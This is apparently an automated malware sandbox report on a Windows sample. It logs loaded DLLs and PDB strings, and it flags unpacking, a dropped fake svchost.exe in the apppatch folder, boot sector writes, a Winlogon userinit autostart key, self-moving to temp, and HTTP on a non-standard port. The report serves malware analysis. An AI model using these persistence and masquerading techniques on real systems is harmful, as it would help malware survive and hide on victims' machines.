Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: UMwpXhA46R.exe

Static file information: File size 1179648 > 1048576

Source: UMwpXhA46R.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\wkernel32.pdb source: svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\dll\wntdll.pdb source: svchost.exe, 00000002.00000002.3426848307.0000000009259000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winsta.pdb source: svchost.exe, 00000002.00000002.3422148486.0000000004382000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: svchost.exe, 00000002.00000002.3426848307.0000000009271000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427813652.00000000092A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\symbols\dll\wntdll.pdb source: svchost.exe, 00000002.00000002.3426602006.0000000009206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: com.qedyvap\??\C:\Program Files (x86)\Windows Defender\DLL\wkernel32.pdb source: svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\gacyfeb.com\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WinSCard.pdb\WinSCard.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: com.qegynul\??\C:\Program Files (x86)\Windows Defender\DLL\wkernel32.pdbb source: svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: svchost.exe, 00000002.00000002.3421903093.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426602006.0000000009228000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\WinSCard.pdbdb source: svchost.exe, 00000002.00000002.3413102831.000000000088A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb( source: svchost.exe, 00000002.00000002.3426602006.0000000009228000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbwkernel32.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\dll\WinSCard.pdbdb source: svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbll\wntdll.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb552 source: UMwpXhA46R.exe, svchost.exe.0.dr
Source:	Binary string: WinSCard.pdb( source: svchost.exe, 00000002.00000002.3424625782.0000000007237000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb source: UMwpXhA46R.exe, svchost.exe.0.dr
Source:	Binary string: kDJwntdll.pdb source: svchost.exe, 00000002.00000002.3413471748.00000000008BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\wntdll.pdb\** source: svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Program Files (x86)\Windows Defender\wntdll.pdb\* source: svchost.exe, 00000002.00000002.3425216868.000000000827B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\winsta.pdb source: svchost.exe, 00000002.00000002.3426602006.0000000009206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbernelbase.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: svchost.exe, 00000002.00000002.3426848307.0000000009277000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb( source: svchost.exe, 00000002.00000002.3426848307.0000000009277000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000000.2516200393.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2606987058.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000000.2520248189.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2607414214.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000010.00000002.2585840730.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000000.2578627983.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000000.2588407921.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2670222537.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000000.2633847837.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001E.00000000.2650762709.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2734291116.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000024.00000000.2708390726.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000027.00000000.2731091721.00000000002DE000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wntdll.pdb source: svchost.exe, 00000002.00000002.3426602006.0000000009206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb( source: svchost.exe, 00000002.00000002.3426848307.0000000009271000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WinSCard.pdb source: svchost.exe, 00000002.00000002.3427813652.00000000092A6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3424625782.0000000007237000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\dll\wrpcrt4.pdb1.3.6.1.4.1.311.60.3.2szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION source: svchost.exe, 00000002.00000002.3426848307.0000000009259000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winsta.pdb( source: svchost.exe, 00000002.00000002.3422148486.0000000004382000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\qexyfag.com\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wrpcrt4.pdb source: svchost.exe, 00000002.00000002.3406954551.0000000000812000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\DLL\wkernel32.pdbb source: svchost.exe, 00000002.00000002.3413102831.000000000088A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Unpacked PE file: 0.2.UMwpXhA46R.exe.400000.2.unpack .text:ER;.j:R;.nkytZ:R;.N:R;.fc:W;.data:W;.s:W;.w:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\apppatch\svchost.exe	Unpacked PE file: 2.2.svchost.exe.400000.0.unpack .text:ER;.j:R;.nkytZ:R;.N:R;.fc:W;.data:W;.s:W;.w:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.unpack

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Unpacked PE file: 0.2.UMwpXhA46R.exe.400000.2.unpack
Source: C:\Windows\apppatch\svchost.exe	Unpacked PE file: 2.2.svchost.exe.400000.0.unpack

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00401FC0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,

0_2_00401FC0

Source: svchost.exe.0.dr	Static PE information: real checksum: 0x48bbd2ed should be: 0x121dac
Source: UMwpXhA46R.exe	Static PE information: real checksum: 0x663958d2 should be: 0x121dac

Source: UMwpXhA46R.exe	Static PE information: section name: .j
Source: UMwpXhA46R.exe	Static PE information: section name: .nkytZ
Source: UMwpXhA46R.exe	Static PE information: section name: .N
Source: UMwpXhA46R.exe	Static PE information: section name: .fc
Source: UMwpXhA46R.exe	Static PE information: section name: .s
Source: UMwpXhA46R.exe	Static PE information: section name: .w
Source: svchost.exe.0.dr	Static PE information: section name: .j
Source: svchost.exe.0.dr	Static PE information: section name: .nkytZ
Source: svchost.exe.0.dr	Static PE information: section name: .N
Source: svchost.exe.0.dr	Static PE information: section name: .fc
Source: svchost.exe.0.dr	Static PE information: section name: .s
Source: svchost.exe.0.dr	Static PE information: section name: .w

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_004000C2 push esp; ret	0_2_004000C3
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0040008D push FB0DB0C3h; ret	0_2_004000B7
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0044C903 push cs; ret	0_2_0044C918
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0044C939 push cs; iretd	0_2_0044C948
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0044C26D push es; iretd	0_2_0044C27C
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00448CA0 push eax; ret	0_2_00448CCE
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0213065B push ebx; ret	0_2_02130677
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0213065B push dword ptr [esp+48h]; ret	0_2_02130747
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_02130678 push dword ptr [esp+48h]; ret	0_2_02130747
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_004000C2 push esp; ret	2_2_004000C3
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0040008D push FB0DB0C3h; ret	2_2_004000B7
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0044C903 push cs; ret	2_2_0044C918
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0044C939 push cs; iretd	2_2_0044C948
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0044C26D push es; iretd	2_2_0044C27C
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00448CA0 push eax; ret	2_2_00448CCE
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CB6B03 push cs; ret	2_2_02CB6B18
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CACB03 push esi; retf	2_2_02CACB04
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CB6B39 push cs; iretd	2_2_02CB6B48
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CB28A0 push eax; ret	2_2_02CB28CE
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAE990 push esi; retf	2_2_02CAE994
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CACEB1 push esi; retf	2_2_02CACEB5
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAE62D push esi; retf	2_2_02CAE631
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CB646D push es; iretd	2_2_02CB647C
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029E726D push es; iretd	2_2_029E727C
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D4392 push ebp; retf	2_2_029D4393
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D410C push ebp; retf	2_2_029D410D
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029E3CA0 push eax; ret	2_2_029E3CCE
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02B20678 push dword ptr [esp+48h]; ret	2_2_02B20747
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02B2065B push ebx; ret	2_2_02B20677
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02B2065B push dword ptr [esp+48h]; ret	2_2_02B20747
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012828A0 push eax; ret	6_2_012828CE

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	2_2_02C82030
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	6_2_01252030
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	7_2_01052030
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	9_2_00A32030

Drops PE files with benign system names

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

File created: C:\Windows\apppatch\svchost.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Executable created and started: C:\Windows\apppatch\svchost.exe

Jump to behavior

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: API: WriteFile string: \\?\globalroot\systemroot\system32\tasks\

0_2_00403440

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

File created: C:\Windows\apppatch\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

File created: C:\Windows\apppatch\svchost.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	2_2_02C82030
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	6_2_01252030
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	7_2_01052030
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u	9_2_00A32030

Creates an undocumented autostart registry key

Source: C:\Windows\apppatch\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon userinit

Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Hooking and other Techniques for Hiding and Protection

Moves itself to temp directory

Source: c:\users\user\desktop\umwpxha46r.exe

File moved: C:\Users\user\AppData\Local\Temp\6D41.tmp

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759
